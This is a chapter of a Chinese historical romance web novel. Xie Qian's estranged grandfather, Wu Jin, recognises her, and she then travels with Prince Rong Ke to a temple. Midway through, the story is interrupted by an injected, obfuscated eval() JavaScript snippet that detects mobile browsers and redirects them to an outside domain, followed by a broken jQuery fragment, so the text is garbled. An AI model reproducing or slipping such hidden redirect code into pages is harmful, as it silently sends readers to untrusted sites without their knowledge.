几乎一瞬,谢浅便猜到来者身份。
她警惕地看着他,不管对方信不信,直接道:“老大人恕罪,我乃走错了路,误闯此地,这就离开。”
“你知我是谁?”他深深看她,擎着烛台道:“既来之,则安之。姑娘可愿同老夫一道瞧一瞧这屋子?”
见她未动,吴谨侧过身来等她。
她咬牙跟上。
这是一间女儿闺房。借着烛火,谢浅隐约瞧见檀木小床紧挨墙角,上头挂着水绿色杭绸帐子。帐子看上去是精心保管的,只是很明显有些年头了,褪色成斑驳模样。
梳妆台上,铜镜已布满锈迹,鉴不出任何光影,上头还摆着小小妆奁,一看就是小姑娘所用物件。
高几上并排放着几个泥娃娃,手艺粗劣,不似能进吴府之物。娃娃面容已经模糊,瞧不出半点原本模样。
吴谨缓步走至床边,抚摸着已经发黑的银制莲蓬帐钩,声音轻如叹息,“这对小莲蓬,三十年了。”
又拾起几上泥娃娃,“这是她六岁时自己捏的,有三十一年了。”
谢浅不知自己为何会跟来,又为何还不走。可她此刻,只觉一股麻意自足尖直蹿顶门,浑身竟似被钉住一般,半分也动弹不得。
湿意自心底涌上眼眶,她咬紧嘴唇,不敢泄露分毫。
老者环顾四周,推开卧室窗户,寒意迎面扑来。他立在寒风口,似乎丝毫未觉,指着外头黑沉沉的地方,道:“那座秋千是我给她做的,她每次玩都很开心,总要我推高一点。”
谢浅飞速抬手拭去即将落下的泪珠,心知此地断断不能再留,她截住他话头,垂眸敛了神色,“夜已深沉,恕民女先行告退。”
刚转身,便听到背后苍老声音传来,“你母亲,还在吗?”
谢浅心头一骇,浑身几欲战栗,却死死按捺住。她声音里带着一丝不易察觉的发紧:“老大人,我自小父母便不在了,祖父养活不了,才将我卖至画舫。幸得遇殿下,方得解脱。”
“我不是问王卉儿,我是问你。”
“你不是王卉儿。”
谢浅平日素有急智,可此刻脑中乱如糨糊,竟是一句辩解的话也说不出。
吴谨将窗阖上,绕至她身前,望着这张同女儿有七八分相似的脸,悲哀地闭上眼。
几日前,心神不宁的赵嬷嬷竟一头撞上他。
原她还咬死不说,在他威逼之下方道出真相。
她颤颤巍巍说着投胎之类的鬼话。
怪力乱神,他从不相信。
他没说什么,只是嘱咐赵嬷嬷,若是殿下院子那边需要什么,都要先来请示他。
结果没多久,大儿媳便来请示,说殿下要为听竹坞的姑娘寻一个侍女。
他点了念微,对大儿媳的说辞自然是,宝珠阁婢女无主,放在殿下院子里不犯忌讳。
大儿媳没有怀疑,照做无误。
去前,他将念微召至正房,交代她定要表明自己是宝珠阁之人。要告诉那位姑娘,宝珠阁之前是谁在住,现下并没有主人。
谁知,念微当晚就被送回来了。
他在宝珠阁一连等了几日,亦没等到半分人影。
他怀疑自己是否真的想错了,世间渺渺,有长相相似之人也不足为奇。
直到今日,殿下来寻他。
他知殿下明日便要启程避出扬州,令念微将礼物备好,带上已定好的说辞前往听竹坞。
终于,等到了她。
第一眼,他便确定她的身份。
纵然她不认,纵然没有证据。
可天下间,没有任何证据比血脉相连更直接、更有力。
他无需证据。
吴谨看着她微微发抖的身体,叹道:
“殿下断不会对一个花娘感兴趣,真正的王卉儿也不会对宝珠阁感兴趣。”
“孩子,你告诉我,你母亲,还在吗?”
谢浅努力平复心中的惊天骇浪,此刻脑中终于有了几分清明,她今日是被这老头瓮中捉鳖了。
无论如何,她的身份、全家的身份,做的都是万无一失的,她切不可自乱阵脚。
她抚平声音,回道:“老大人说的没错,我的确不是王卉儿,只是方才有一点并未骗老大人,我家人已俱不在了。”
纵使早已猜到,吴谨仍是一窒。他踉跄后退,一手扶住门框,方才勉强立住。
“什么时候的事?”他语中尽是苦涩。
“父母在我小时便去了,祖父祖母亦已故去。我不过天地一孤女,误闯府上,还望老大人莫要计较。”
听出她言外之意,吴谨痛心又怜惜地望着她,悲道:“没有人不爱自己的孩子,以及,孩子的孩子。”
“你不用有丝毫担忧我会同殿下说什么,便是吴家其他人,你没点头前,我也不会透露一个字。”
“我不知你祖父怎么和你说的我,我只想同你说,这个世上是非对错难说的很。”
“大丈夫生而在世,若连自己家人都不能保全,便是顶顶无用之人。至于其他,权势也好,名声也罢,都不过身外之物、过眼云烟。”
谢浅泪水涌出,她猛地踏步离去,听得老者在后头道:
“孩子,若是殿下真对你有意,便以吴家干孙女身份出嫁吧。殿下人品贵重,定不会亏待于你,吴家亦是你永远的后盾。”
谢浅顿住,没有回头。她冷道:“实不明白老大人在说什么。”
转入拐角时,她瞥见老迈身影仍立在原处,一动不动。
摸黑进了房内,谢浅不敢点灯,踉跄扑至床上。
不禁感到庆幸,幸好容恪今日入夜后带了大批人马出去,不然以他之敏锐,这儿的动静,很难瞒过他。
她此刻心绪复杂难言,泪水汹涌而出,浸湿软枕。
今晚之前,吴谨在她心中形象一直是奸佞的墙头草,是变节的貮臣,是为了权势宁愿牺牲女儿幸福的阴鸷之徒。
可待真见到了,才发现,他是一个活生生的人。
他会记得女儿做的小泥人、买的小玩意,会给女儿做秋千、陪女儿玩耍,会年复一年、日复一日打扫着女儿幼年住所,期盼女儿有一天能归家。
她甚至突然意识到,堂堂礼部尚书,一辈子身居高位、富贵荣华,竟然没有纳妾,四个子女皆是原配正室所出。
谢浅不明白这是种什么感觉。
她应该恨他的,这个背叛了大梁的人。
可是,见到他的第一眼,那种从血液中要沸腾而出的亲切感,令她怎么也无法忽视。
这晚谢浅睡得很不安稳,似被狂浪席卷,浮浮沉沉。
一早醒来,眼下黑青无论如何都遮不住,容恪细细打量她,“昨夜梦里同人决斗了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143037|180449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢浅懒得与他斗嘴,径自拧了条巾帕浸满冷水,往眼下按去。冬日水寒彻骨,凉意愈发钻心,谢浅只觉得眼周猛地一刺,不由自主打了个寒颤。
容恪见状,直接从她手中抽走帕子,令人打了热水来,待亲自浸透拧干后,一手扶住她后颈,一手往她眼下敷去。
谢浅惊地下意识后缩,却被他掌心牢牢托住。
带着滚烫湿意的巾帕贴上眼下时,他整个人也贴近过来,她甚至能感觉到他的长睫似要与她的相连,呼吸喷洒在眼下,令本就灼热的那块愈发滚烫。
此刻他正专注为她敷着眼,并未有半分轻佻之举,谢浅却不可避免地浑身不自在起来。
她使了巧劲挣脱,夺过帕子退开几步,瓮声瓮气道:“我自己来便是,不敢劳动天潢贵胄。”
容恪轻笑一声,未再动作。
早膳用毕,谢浅收拾妥当,上了马车。
过不多时,容恪自屋内走出,似与人说着什么。
谢浅将车窗微开一道缝隙,见他正扶着一位年迈的贵妇人,身后跟着一位通身气派的中年妇人,其旁便是见过的赵嬷嬷。
这两位的身份,谢浅一瞬了然。
马车微晃,骨节分明的手推开车门,容恪大步跨坐车内。
谢浅问:“吴老夫人和崔夫人一道同行?”
“她们去法华寺,昨日老师请我帮忙护送一程。”
谢浅有些惊讶,“吴府没有家丁吗?殿下不在时又是谁护送?”
容恪笑道:“又不耽误你几多时辰,怎么倒替我抱不平起来?我护送师母应当应分,莫说些小气之语。”
谢浅侧过脸不再言语,不自觉握紧身侧帷帽。
“今儿是怎么了,一副心事重重的模样?突然这么安静,倒让我颇不习惯。”身旁低沉调侃声响起。
她看向容恪,“难道我平日很聒噪不成?”
“倒不是。”他细细瞧她,似是想到什么,瞳孔中藏着笑意,“你平日眸中总似燃着两簇火焰般,今日怎的灭了?”
谢浅扭过头去,不欲多想他话中暧昧。
自初雪之夜后,他似乎愈发不避讳了。
虽未完全挑明,她尚可装傻,但她毕竟不是真傻,不能眼睁睁看着局面朝着不可控的方向狂奔。
她不着痕迹往外挪了挪。
法华寺并不算太远,约莫一个时辰便到了。
下车前谢浅将帷帽严严实实戴好,容恪轻笑,“都是自己人,不必如此。”
“两位夫人都是高门贵眷,必是看不上花娘这种烟花女子,我可不想被她们的目光羞辱到。”
容恪想起今早出门前,吴老夫人话中暗里对他收拢烟花女子的不满,语重心长要他早日请父皇指婚,正经成婚方是。
他没再言语。
下车后,容恪三两步迈至吴老夫人身旁,搀扶着她步上台阶,崔夫人与谢浅紧随其后。
谢浅能感觉到,自她下车,崔夫人的目光便从未离开过她。
她的目光并不令人讨厌,也没有恶意,可谢浅却觉得疲乏无比。
此间事了之后,她要立刻回金陵,远离吴家,亦远离容恪。
行不至一刻钟,便进了山门,法华寺全貌映入眼帘。
碧波淼淼,荡于天水之际;古刹悠悠,隐于苍松翠柏。
谢浅心猛地一跳,愣在原地。